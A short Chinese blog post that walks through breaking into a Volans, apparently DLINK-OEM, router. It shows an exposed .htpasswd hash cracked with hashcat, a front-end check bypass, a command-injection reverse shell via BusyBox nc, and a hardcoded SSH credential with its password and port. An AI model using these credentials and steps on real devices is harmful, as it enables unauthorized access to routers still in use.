一日无聊,发现一篇文章
https://www.52pojie.cn/thread-367479-1-1.html
看评论是乌云 14年8月提交的漏洞。
于是进一步分析一下。
首先拿到
http://地址/.htpasswd
admin:$1$$xAjuh7utDUp3xXVqThWzp/
在hashcat中进行破解
Session..........: hashcat
Status...........: Running
Hash.Type........: md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)
Hash.Target......: $1$$xAjuh7utDUp3xXVqThWzp/
嗯,跑了几分钟,没有跑出来。反正跑出来也没啥用。
于是上zoomeye关键词volans又找到一枚新的
hashcat -m 500 '$1$$U6YTLx/HR47ETGUJalT/f/' xxxx
$1$$U6YTLx/HR47ETGUJalT/f/:fan1314520
不错,已经可以登陆进去了。
修改元素属性,删除input中的id值,即可绕过检测。


发现存在命令执行漏洞。
通过BUSYBOX中的nc命令,可以成功反弹shell
然后拿下所有文件,进行代码审计

cat /usr/sbin/sshd.sh
echo "admin:va5fgc2anu" | chpasswd
发现存在SSH凭据硬编码漏洞
路由器默认ssh端口10089
账号 admin
密码 va5fgc2anu
即可登陆进去。
看来是这款路由器OEM的DLINK老版本路由器。并配置了默认的telnet账号密码,当开启telnet功能的时候,就添加默认的telnet用户和密码。
本文介绍了作者如何从发现一篇关于IoT漏洞的文章开始,逐步分析`.htpasswd`文件,使用hashcat尝试破解密码,通过 Zoomeye 搜索更多线索,最终利用命令执行漏洞反弹shell,并在审计代码中找到SSH硬编码凭证,揭示了一个可能的OEM DLINK路由器的安全问题。
4189

被折叠的 条评论
为什么被折叠?



